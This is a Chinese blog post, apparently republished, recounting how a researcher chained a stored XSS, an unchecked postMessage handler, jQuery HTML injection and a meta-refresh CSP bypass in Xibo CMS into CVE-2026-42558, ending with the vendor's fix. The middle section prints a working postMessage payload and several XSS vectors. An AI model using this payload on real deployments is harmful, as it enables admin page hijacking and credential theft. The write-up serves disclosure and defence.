我是如何找到攻击链并获得CVE-2026-42558的?

admin 2026-05-27 05:29:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细描述了作者通过代码审计在XiboCMS中发现存储型XSS漏洞,并利用postMessage缺失来源验证和jQuery的DOM注入漏洞实现沙盒逃逸,最终通过metarefresh标签绕过CSP完成管理员页面劫持的攻击链。关键发现包括四个漏洞的组合利用(CWE-79/346/116及CSP绕过),并提供了修复方案(使用.text()和DOMPurify)。建议防御者验证postMessage来源、清理DOM输出,猎人应深入挖掘漏洞组合可能性。 综合评分: 92 文章分类: 漏洞分析,WEB安全,实战经验,安全开发,红队


cover_image

我是如何找到攻击链并获得 CVE-2026-42558 的?

haidragon haidragon

安全狗的自我修养

2026年5月25日 12:06 湖南

在小说阅读器读本章

去阅读

官网:http://securitytech.cc

#

经过数天的代码审查,终于发现了一个跨站脚本攻击漏洞(XSS)。之后又花了更多时间,将其扩展成一个完整的沙盒逃逸和攻击链。

按回车键或点击查看完整尺寸的图片

Xibo CMS——开源数字标牌平台。服务于超过38,000家企业、77,000多个显示屏,覆盖186个国家。为医院、大学、机场、肯德基菜单板、索尼BRAVIA电视网络等场所的屏幕提供支持。

我选择它的原因是:它基于 PHP 代码库,支持 Docker,而且安全团队响应迅速。我克隆了代码库,启动了一个本地实例,然后开始阅读。

第 1-3 天:了解应用程序

头几天我都在读代码。没有模糊测试,也没有用 Burp Suite。我只是理解应用程序的工作原理——输入如何流经控制器,如何存储在实体中,以及如何通过 Twig 模板渲染。我需要理解整个系统,才能找到问题所在。

我走了不少弯路。SQL 查询使用了预处理语句。输入数据经过了适当的清理。文件验证也正确无误。安全措施做得很好——但这对于一个猎手来说却令人沮丧。

在查看模板文件时,我注意到了一些问题。一些输出变量使用了 Twig 的{{ | raw }}过滤器,该过滤器会禁用 HTML 转义。大多数变量都是安全的——JSON 数据,预先清理过的变量。但有一个变量却很特别:

<&nbsp;script&nbsp;type&nbsp;= "&nbsp;text&nbsp;/javascript"&nbsp;nonce&nbsp;=&nbsp;"{{ cspNonce }}"&nbsp;>&nbsp;{
&nbsp; &nbsp; { script|raw }}
</script>

一个名为 <variable\_name> 的变量script,直接显示在 script 标签内。任何用户都可以访问此页面。我开始反向追踪代码库——跟踪每一个函数调用,以了解这个变量的来源,以及是否有任何代码对其进行了清理。

经过数小时对控制器层和实体层的调用进行追踪,我绘制出了完整的管道图:

输入getParam()返回用户原始输入。不进行任何过滤。

存储方式——file_put_contents($path, $script)直接写入磁盘,不进行验证。

输出——{{ script|raw }}在浏览器中渲染。不进行转义。

三个文件。全程未进行任何清理。典型的存储型跨站脚本攻击。

我已验证跨用户利用漏洞——内容管理器保存有效载荷,管理员打开页面:

127.0.0.1 -&nbsp;"GET /?proof=XSS HTTP/1.1"&nbsp;200

但该页面被隔离在一个沙盒化的 iframe 中。没有会话 cookie,也没有身份验证上下文。我可以窃取localStorage(用户名、设备配置),但无法触及管理员的会话。

中等严重程度。我本来可以就此止步。

我想要的是连击!

第 4-6 天:寻找沙盒逃生

难点就在这里。我的代码是在一个沙盒化的iframe中执行的。问题是:我能突破这个限制吗?

iframe 中的sandbox="allow-scripts"JavaScript 代码可以运行,但无法访问父页面。parent.document没有 cookie。脚本被限制运行。

但是数据连接器需要将结果发送回父页面。它使用了postMessage一种实现方式。我花了几天时间研究父页面如何处理这些消息,追踪每种消息类型,并追踪每条数据最终在 DOM 中的位置。

在反复阅读同一段代码大概二十遍之后,我终于明白了:

// 父窗口接受任何消息——不检查来源
。window.addEventListener(&nbsp;'message'&nbsp;, function(&nbsp;event&nbsp;) {
&nbsp; &nbsp; receiveData(&nbsp;event.data.type&nbsp;,&nbsp;event.data&nbsp;);
});
// 对于“criteria”消息,dataKey 直接进入 HTML
&nbsp;$&nbsp;.each&nbsp;(criteria,&nbsp;function&nbsp;(&nbsp;key, value&nbsp;) {
&nbsp; &nbsp; $tableBody.append&nbsp;(&nbsp;'&nbsp;<tr><td>'&nbsp;+ key +&nbsp;'</td>...'&nbsp;);
});

该数据key来自 iframe 的 postMessage 方法。它通过 jQuery 注入到父页面的 HTML 中.append()。未经任何清理。

我可以从沙盒内部向已认证的父页面注入 HTML 代码。沙盒逃逸机制隐藏在 jQuery 字符串拼接中。

第7天:遭遇CSP瓶颈

找到注入点就成功了一半。父页面已设置内容安全策略:

script-src&nbsp;'nonce-xxx'&nbsp;'strict-dynamic'

我花了一整天的时间试图绕过它:

有效载荷结果<script>alert(1)</script>❌已阻止

<img onerror=fetch(...)>❌ 已屏蔽

<svg onload=...>❌ 已屏蔽

<iframe srcdoc="<script>...">❌ 已屏蔽

所有 JavaScript 向量都失效了。我多次离开键盘。阅读了 CSP 绕过方面的研究资料。回来后,仍然失败。

然后我恍然大悟:CSP 控制的是 JavaScript,而不是 HTML 指令。

window.onload =&nbsp;function&nbsp;(&nbsp;)&nbsp;{
&nbsp; &nbsp; window.parent.postMessage&nbsp;({&nbsp;type&nbsp;:&nbsp;'criteria'&nbsp;,&nbsp;dataKey&nbsp;:&nbsp;'<meta http-equiv="refresh" content="0;url=http://127.0.0.1:9999/?pwned=true">'&nbsp;,&nbsp;data&nbsp;:&nbsp;{&nbsp;metric&nbsp;:&nbsp;'&nbsp;x&nbsp;'&nbsp;,&nbsp;value&nbsp;:&nbsp;'x'&nbsp;,&nbsp;ttl&nbsp;:&nbsp;1&nbsp;}&nbsp;&nbsp; &nbsp; },&nbsp;'*'&nbsp;);&nbsp;}

<meta http-equiv="refresh">指示浏览器进行重定向。这是 HTML,不是 JavaScript,CSP 无法影响它。

已将有效载荷保存为内容管理器。以管理员身份登录。打开页面。

127.0.0.1 -&nbsp;"GET /?pwned=true HTTP/1.1"&nbsp;200

管理员的整个页面都重定向到我的服务器了。已确认两次。

沙盒逃脱成功

四个漏洞导致了这种情况:

**1. 存储型跨站脚本攻击 (CWE-79) — 脚本未经过滤保存到服务器

  1. 缺少来源验证 (CWE-346) — 接受来自任何来源的 postMessage 请求
  2. 未经过滤的 DOM 注入 (CWE-116) — jQuery 的 .append() 函数未进行编码
  3. CSP 绕过 — meta refresh 属性是 HTML 代码,而非 JavaScript 代码。CSP 无法阻止此类攻击**

单独来看,它们都无害。但结合起来,就能实现:沙盒逃逸→管理员页面劫持。

攻击链

1.输入:file_put_contents() 函数存储脚本时未进行验证
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓
2.沙盒:允许从沙盒 iframe发送 postMessage 消息
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓
3.源:父级接受消息时未检查来源
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓
4.&nbsp;CSP:<meta refresh>是HTML 代码——CSP 未阻止它
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓
&nbsp; 管理员已认证的页面重定向到攻击者的服务器

实际操作中:

内容管理器保存有效载荷 → 等待
管理员打开数据连接器页面(日常操作)→&nbsp;iframe加载 → 脚本运行 → postMessage 触发 → 父级注入 meta refresh → 浏览器重定向 → 伪造登录页面 → 管理员输入密码 → 被盗

没有可疑链接。管理员打开了一个他们已经访问过上百次的页面。

按回车键或点击查看完整尺寸的图片

为什么单独一个漏洞都无关紧要

单独使用 XSS:在独立页面中运行,不涉及会话。 “这是供应商所说的‘预期功能’。”

仅注入 PostMessage: iframe 中没有脚本 = 不会发送恶意消息。

攻击链: XSS 存储武器 → 沙箱逃逸触发武器 → 管理员页面被劫持。

破坏其中任何一个环节,链条都会断裂。但这两个环节都存在。

修复方案

Xibo在数小时内做出回应,并寄出了PR #3428:

  • .text()对于dataKey——HTML 变成无害文本
  • DOMPurify用于列值——去除危险标签
  • 日志条目也已清理。

沙盒逃逸机制已被破解。

要点总结

防御者:验证postMessage来源。清理.append()输出。记住,这<meta refresh>会绕过内容安全策略 (CSP)。

猎人们:不要止步于中等难度。

请阅读 iframe 的两侧。

狩猎前请先了解应用的全部功能。CSP并非无敌!

  • 公众号:安全狗的自我修养

  • vx:2207344074

  • http://gitee.com/haidragon

  • http://github.com/haidragon

  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《我是如何找到攻击链并获得 CVE-2026-42558 的?》

评论:0   参与:  0